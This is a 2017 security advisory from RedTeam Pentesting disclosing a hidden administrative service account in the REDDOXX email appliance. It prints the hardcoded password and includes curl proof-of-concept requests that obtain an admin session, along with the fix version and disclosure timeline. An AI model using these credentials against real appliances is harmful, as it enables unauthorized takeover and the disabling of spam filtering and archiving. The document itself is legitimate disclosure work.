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Date: Mon, 24 Jul 2017 15:57:39 +0200
From: RedTeam Pentesting GmbH <>
Subject: [RT-SA-2017-007] Undocumented Administrative Service Account in
 REDDOXX Appliance

Advisory: Undocumented Administrative Service Account in REDDOXX Appliance

RedTeam Pentesting discovered an undocumented service account in the
REDDOXX appliance software, which allows attackers to access the
administrative interface of the appliance and change its configuration.


Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Hidden Service Account
Security Risk: high
Vendor URL:
Vendor Status: patch available
Advisory URL:
Advisory Status: published


"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clients’ requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)

More Details

Through the ISO provided on the vendor's homepage [1], it was possible
to analyze the files in a typical REDDOXX appliance [0] installation. As
part of this process, hardcoded credentials for a service account were
found in a .NET binary file. With these credentials, it was possible to
authenticate against the administrative interface.

Proof of Concept

The following curl command-line shows an unsuccessful login attempt with
invalid credentials against the administrative interface:

$ curl --silent -H 'Content-Type: application/json' --data '{"UserName": "", "Password":"redteam"}' | jq .
  "ResponseStatus": {
    "ErrorCode": "Unauthorized",
    "Message": "Invalid UserName or Password",
    "Errors": []

When the credentials extracted from the binaries are provided however,
the webserver returns a session ID instead of an error message,
indicating a successful login:

$ curl --silent -H 'Content-Type: application/json' --data '{"UserName": "", "Password":"rdx!1ntern4l"}' | jq .
  "SessionId": "Qm5odfSFB2tVh8De6HjD",
  "UserName": "",
  "DisplayName": "",
  "ResponseStatus": {}




Update the appliance software to Version 2032 SP2.

Security Risk

The hidden service account allows attackers to authenticate to the
administrative interface of the appliance. With this level of access,
the appliance can be completely reconfigured. For example, core
functionalities, such as spam filtering or archiving, can be disabled.
RedTeam Pentesting assumes that the hidden service account is present
on all REDDOXX installations and rates its presence as a high risk.


2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-06-21 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released


    (Requires login)

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:

Working at RedTeam Pentesting

RedTeam Pentesting GmbH is looking for more penetration testers to join
our team. If you are interested in working for RedTeam Pentesting in
Aachen, please visit the respective section of our website.

RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen          
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen

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